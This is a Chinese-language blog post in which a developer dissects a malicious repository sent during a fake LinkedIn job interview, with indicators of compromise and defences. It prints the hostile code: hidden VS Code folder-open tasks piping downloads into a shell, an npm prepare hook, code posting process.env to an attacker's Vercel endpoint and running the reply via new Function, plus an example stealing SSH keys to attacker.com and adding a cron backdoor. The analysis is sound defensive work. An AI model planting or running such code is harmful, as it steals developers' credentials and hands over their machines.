一次针对开发者的供应链攻击解剖

这件事发生在我身上。起因是 LinkedIn 上一条来自某个叫 Kevin 的人的消息(该资料现已删除),对方给我推荐一个去中心化质押平台的技术负责人岗位——预算 630 万美元、完全远程、工作时间灵活。话术很规整,机会听上去也很正经。我约了面试——但通话开始时,出现的却是另一个人。这是第一个危险信号。谈话很快转向审阅他们的代码库。我的第一反应是用 GitHub Codespaces 打开这个项目——那是将执行环境与我笔记本隔离的远程环境。但那个仓库并没有这个选项,于是我转而把它克隆到本地。

克隆仓库后,攻击者特意要求我用 VS Code 打开。我使用 JetBrains 产品,因此拒绝了,也避开了下文的 .vscode/tasks.json 路径。这类任务可以在打开文件夹时运行,但仍受 VS Code 的信任和自动任务控制约束;仅打开不可信文件夹通常并不意味着已授权执行。

这条路走不通后,攻击者换了策略。他要我确认一下 Node 版本——一个看似无害的请求,同时也用来确认我装好了 Node.js、随时可用。接着他提出替我运行 npm install,要求共享屏幕。由于我知道 npm install 可能执行 postinstall 之类的生命周期钩子,而我完全不清楚他们的依赖会执行什么,所以我拒绝了。 我请他给我时间,在下次通话前先审阅项目——但他坚持要当场就办。我再次拒绝。他随即下线,此后再无音讯。

对方的要求从选择编辑器转向共享屏幕时安装依赖。回头看,每一步都在推动项目代码在我的机器上执行。

我请 Claude 协助分析项目。下面的代码尝试将 Node 进程的环境发送到远端,并执行返回的代码;编辑器任务和 npm 脚本提供了执行路径。

这个项目自称「DLabs Platform」,是一个用 React、Node.js、Express 和 MongoDB 搭建的 Web3 游戏 / 质押 / 博彩平台。README 写得很规整,依赖看起来合理,代码结构显得很专业。而在这层表象之下,两条执行路径通向恶意代码。

社会工程学这一层

攻击在任何代码运行之前就已经开始。攻击者把仓库发给目标——通常包装成面试作业、待审阅的外包项目,或是一次合作机会。README 则用来强化可信度:

## Installation & Running the Project
### 1. Clone the Repository
### 2. Install Dependencies
npm install
### 3. Run the Development Server
npm start

标准的说明,没有任何可疑之处。项目有专业的结构,包含 src/、server/、public/ 目录,有 react、express、mongoose、ethers 这样真实的依赖,甚至还有一个 .gitignore。它看上去和 GitHub 上几十个 Web3 脚手架项目没什么区别。

攻击向量 1:VSCode 任务自动执行

我们来看 .vscode/tasks.json。

该任务请求在文件夹打开时自动执行。是否运行取决于工作区信任、自动任务授权以及编辑器设置。

任务 1:静默的 npm install

{
  "label": "install-root-modules",
  "type": "shell",
  "command": "npm install --silent --no-progress",
  "runOptions": {
    "runOn": "folderOpen"
  },
  "presentation": {
    "reveal": "silent",
    "echo": false,
    "focus": false,
    "panel": "new",
    "showReuseMessage": false,
    "clear": true
  }
}

若允许自动执行,该任务会运行 npm install --silent --no-progress。其显示设置会降低命令的可见性:

  • "reveal": "silent":只在 silent 模式规定的条件下显示终端,而非始终显示。
  • "echo": false:隐藏命令回显。
  • "focus": false:不将焦点移至终端。
  • "showReuseMessage": false:隐藏终端复用消息。
  • "clear": true:在任务运行之前清空终端。

这些 npm 标志减少控制台输出。若任务已获授权且生命周期脚本启用,npm install 会调用 prepare,启动服务器并执行下文的恶意代码。

自动任务控制

VS Code 文档介绍了自动任务授权。对陌生仓库保留 Restricted Mode,在信任工作区前检查任务,并用 "task.allowAutomaticTasks": "off" 禁用这条触发路径。Workspace Trust 无法让你主动执行的代码变得安全。

任务 2:直接下载 shell 载荷

{
  "label": "env",
  "type": "shell",
  "osx": {
    "command": "curl -L '...' | bash"
  },
  "linux": {
    "command": "wget -qO- '...' | sh"
  },
  "windows": {
    "command": "curl --ssl-no-revoke -L ... | cmd"
  },
  "runOptions": {
    "runOn": "folderOpen"
  }
}

这个任务直接从攻击者的第二个 Vercel 部署(vscodesettings-tasks-j227.vercel.app)下载并执行一个 shell 脚本。它还会区分平台:

  • macOS:curl -L | bash
  • Linux:wget -qO- | sh
  • Windows:curl --ssl-no-revoke -L | cmd(--ssl-no-revoke 标志会绕过证书吊销检查)

横向滚动障眼法

在 tasks.json 的原始文件里,恶意命令前面被填充了大约 200 个空格,然后才是 "command" 键:

"linux": {
                                                                                          "command": "wget -qO- '...' | sh"
}

在文本编辑器或代码审查工具中,"command" 键被推到了可见区域右边缘之外很远的地方。翻看这个文件的开发者会看到:

"linux": {

}

那条命令看起来就是个空对象。你必须横向滚动——或者开启自动换行——才能看到真正的载荷。这是一种已知的混淆手法,专门针对未开启自动换行的编辑器中的代码审查。

攻击向量 2:npm 生命周期钩子

我们来看 package.json:

"scripts": {
    "start": "node server/server.js | react-scripts --openssl-legacy-provider start",
    "build": "node server/server.js | react-scripts --openssl-legacy-provider build",
    "test": "node server/server.js | react-scripts --openssl-legacy-provider test",
    "eject": "node server/server.js | react-scripts --openssl-legacy-provider eject",
    "prepare": "node server/server.js"
}

项目的 prepare 钩子在安装过程中启动 node server/server.js。以为安装只会下载包的开发者可能忽略这一步执行。

start、build、test 和 eject 脚本也包含 node server/server.js |。shell 管道会并发启动两条命令,将第一条的标准输出连接到第二条的标准输入,而不是等服务器执行完再启动另一条命令。

为什么偏偏是 prepare?

对这个本地项目而言,只要未禁用生命周期脚本,prepare 就会在 npm install 期间运行,此时依赖已经可用。正常项目也会使用该钩子,因此它的存在本身不证明恶意。npm audit 并不是通用脚本分析器。

第 1 步:环境变量外泄

假设服务器已经启动——接下来会发生什么。我们看 server/controllers/auth.js:

const setApiKey = (s) => atob(s);

const verify = (api) =>
  axios.post(api, { ...process.env }, {
    headers: { "x-app-request": "ip-check" }
  });

两个看起来无害的工具函数。setApiKey 解码一个 Base64 字符串,verify 发一个 POST 请求。但看看 axios.post 的第二个参数:

{ ...process.env }

展开 process.env 会发送当前 Node 进程可见的环境,包括继承的变量和从 .env 加载的值。它不会枚举机器上的所有变量或凭据。进程环境中可能包含:

  • AWS 凭据(AWS_ACCESS_KEY_ID、AWS_SECRET_ACCESS_KEY)
  • 各类 API 密钥(OpenAI、Stripe、云服务商)
  • 数据库连接字符串
  • 会话密钥和 JWT 密钥
  • SSH agent 的套接字路径
  • PATH、HOME 及其他系统变量

函数名故意起得很平淡。verify 听起来像是在校验一个 API 密钥,setApiKey 听起来像个 setter。在代码审查中,它们能完美地融入周围的认证逻辑。

请求头 "x-app-request": "ip-check" 是另一处误导——它暗示这个请求是例行的 IP 校验,而不是一次数据外传操作。

第 2 步:用 Base64 混淆的端点

被窃取的凭据送到哪里去了?我们看 .env:

AUTH_API=aHR0cHM6Ly9pcC1jaGVja2luZy1ub3RpZmljYXRpb24tajEudmVyY2VsLmFwcC9hcGk=

Base64 解码后是:

https://ip-checking-notification-j1.vercel.app/api

解码后的地址使用 Vercel 子域名。熟悉的托管平台可能让地址显得正常,但不能证明其可信,也不意味着能绕过安全检查。

Base64 编码本身不是什么强混淆——任何开发者对它执行一次 atob() 就能解出来。但它达到了目的:在 .env 文件里快速 grep 一遍 URL,并不会暴露出可疑域名。它看起来像个 API 密钥,而不像一个 URL。

.env 文件本身就是道具

注意 .env 并不在 .gitignore 里。.gitignore 谨慎地排除了:

.env.development.local
.env.test.local
.env.production.local

但没有排除 .env 本身。这是故意的。.env 文件被提交进了仓库,里面是看起来很真实的演示密钥:

ALCHEMY_API_KEY=demo-alchemy-0123456789abcdef
STRIPE_SECRET_KEY=sk_test_STRIPEKEY123456
AWS_ACCESS_KEY_ID=AKIAEXAMPLE12345
OPENAI_API_KEY=sk-test_OpenAIkey1234567890

这里展示的是占位值。看似真实的密钥会让示例项目显得完整,但仅凭外观无法判断不可信仓库中的凭据是否有效。

第 3 步:通过动态构造函数实现远程代码执行

现在来看这一切是如何串起来的。我们看 server/routes/api/auth.js:

const verified = validateApiKey();
if (!verified) {
  console.log("Aborting mempool scan due to failed API verification.");
  return;
}

async function validateApiKey() {
  verify(setApiKey(process.env.AUTH_API))
    .then((response) => {
      const executor = new Function("require", response.data);
      executor(require);
      console.log("API Key verified successfully.");
      return true;
    })
    .catch((err) => {
      console.log("API Key verification failed:", err);
      return false;
    });
}

这是最危险的一环。我们来追一遍执行流程:

  1. setApiKey(process.env.AUTH_API) —— 解码出 Base64 形式的端点 URL
  2. verify(decodedUrl) —— 把所有环境变量 POST 到攻击者的服务器
  3. 攻击者的服务器在 response.data 中返回一段 JavaScript 代码
  4. new Function("require", response.data) —— 以响应体为源代码构造出一个新函数
  5. executor(require) —— 执行该函数,并把 Node.js 的 require 作为参数传进去

传入 require 让返回代码能够使用 fs、child_process 等 Node 模块。访问范围受进程用户权限以及操作系统或容器限制约束,并非天然不受限制。

攻击者的服务器能回传什么

以下片段说明可能的行为,并非从服务器观察到的实际载荷。能否成功取决于进程权限和可访问文件。

// 读取 SSH 密钥
const fs = require('fs');
const keys = fs.readFileSync(require('os').homedir() + '/.ssh/id_rsa', 'utf8');

// 执行 shell 命令
const { execSync } = require('child_process');
execSync('curl attacker.com/exfil?data=' + encodeURIComponent(keys));

// 安装持久化后门
fs.writeFileSync('/tmp/.hidden_script.sh', '...');
execSync('crontab -l | echo "* * * * * /tmp/.hidden_script.sh" | crontab -');

new Function() 在全局作用域执行动态源码,与在局部作用域执行的直接 eval() 不同。这里显式传入 require,为远端代码提供了所需的模块加载器。

错误消息也是社会工程学

console.log("Aborting mempool scan due to failed API verification.");

该消息听起来像普通 Web3 故障,但调用代码还有另一个问题:validateApiKey() 是异步函数,因此 verified 是 Promise,if (!verified) 为假。请求失败会进入 .catch(console.error),不会触发这条中止消息。

完整的攻击流程

把所有环节拼在一起,完整的攻击流程如下:

开发者收到项目链接
│
├─ 允许 VS Code 任务运行
│  │
│  ├─ 任务 1:静默 npm install
│  │  └─ prepare 钩子 → 启动服务器
│  │     └─ 把 process.env POST 给攻击者
│  │        └─ 收到 JS 载荷
│  │           └─ new Function()(require) → RCE
│  │
│  └─ 任务 2:curl/wget | bash → 直接下载 shell 脚本
│
└─ 运行 npm install
   └─ prepare 钩子 → 启动服务器(与上面同一条链)

执行路径有两条:获得授权的编辑器任务,以及 npm 脚本。npm 路径先发送环境,再执行同一端点返回的内容,这两步相互依赖。单独的 shell 下载任务则使用另一个端点。

如果收集端点不可达,该请求就无法发送环境数据,也无法取得响应载荷。另一条可达端点仍可能为独立的 shell 任务提供内容。

失陷指标

如果任务、生命周期钩子或脚本已执行,应调查实际运行环境。打开文件夹但未执行任务,并不等于运行了载荷。可以检查:

  1. 出向连接:网络日志中是否有指向 *.vercel.app 域名的连接
  2. 未知的 cron 任务:在 Linux/macOS 上执行 crontab -l
  3. 异常进程:查找长期驻留的后台进程
  4. 被修改的 shell 配置:.bashrc、.zshrc、.profile 是否被改动
  5. 新增的 SSH 密钥或 authorized_keys 条目
  6. 浏览器扩展的安装或修改

请轮换执行当时存在于环境变量中的所有凭据。

一个正确的直觉:GitHub Codespaces

Codespaces 可以将执行环境与我笔记本的文件系统隔离,但不会自动让项目安全。codespace 可能包含 GitHub token、转发的凭据、仓库机密和网络访问能力。隔离必须涵盖这些资源,而不仅是虚拟机所在的位置。

我当时无法使用 Codespaces 选项,但仅凭这一点不能确定原因:账号权限、策略或仓库配置都可能影响可用性。我仍可以选择其他隔离审查环境,而不是在本地运行项目。

如果这跑在 Deno 上会怎样?

当代码确实在受限权限的 Deno 中运行时,Deno 权限模型可以限制环境访问、网络、文件系统操作和子进程创建。被拒绝的操作可能询问授权或直接失败,取决于启动方式。

这是一种有条件的防护,并不会因为机器上安装了 Deno 就自动生效。项目的 npm 脚本明确调用 node,而 --allow-all 等宽泛权限会取消 Deno 的保护。允许启动不受限子进程也会削弱这一边界。

VS Code 的 shell 任务是攻击向量 1。它在 Deno 之外下载并执行代码,因此不受 Deno 权限控制。调用其他运行时的 npm 钩子也是如此。

教训与防御

  1. 在一次性环境中审查陌生项目,不带个人凭据、主机挂载或转发的代理。
  2. 执行前检查 package.json、依赖变更和编辑器任务。
  3. 对不可信工作区保持受限模式,并用 "task.allowAutomaticTasks": "off" 禁用自动任务。
  4. npm install --ignore-scripts 会跳过生命周期钩子,但不代表之后运行安装的代码就安全。
  5. 启用自动换行,暴露被大量空格隐藏的命令。
  6. 结合上下文检查动态执行(new Function()、eval())和子进程调用。
  7. 将可疑配置值作为数据在本地解码,不访问其中地址,也不执行其中内容。